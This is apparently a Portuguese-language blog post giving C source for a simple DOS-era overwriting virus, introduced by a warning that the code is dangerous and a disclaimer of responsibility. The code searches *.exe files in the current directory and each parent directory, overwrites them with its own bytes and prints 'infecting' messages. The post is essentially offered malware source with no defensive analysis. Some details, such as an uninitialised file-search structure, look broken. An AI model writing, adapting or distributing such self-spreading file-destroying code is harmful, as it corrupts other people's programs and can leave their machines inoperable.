LEIA COM ATENÇÃO
Nem preciso dizer que esse código é perigoso. Sugiro que ele seja executado (caso você consiga compilá-lo) em uma máquina virtual. Caso você insista em executá-lo em sua máquina, saiba que poderá perder a instalação do Windows e tornar sua máquina inoperante. Não me responsabilizo por quaisquer danos que você cause à sua máquina executando quaisquer códigos tenha neste blog.
#include<stdio.h>
#include<dir.h>
#include<dos.h>
void main(int argc,char *argv[]) {
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do {
done=findfirst("*.exe",f,0);
while(!done) {
virus=fopen(argv[0],"rb");//abrir o vírus em modo de leitura
host=fopen(f->ff_name,"rb+");//abra o arquivo host no r / w modo
for(;fread(buffer,512,1,virus)==1;)
fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//pontos para o início do vírus
printf("infecting %s",f->ff_name);
done=findnext(f);
}
} while(!chdir(".."));
printf("Infecção completa...\n");
}
Nenhum comentário:
Postar um comentário
Observação: somente um membro deste blog pode postar um comentário.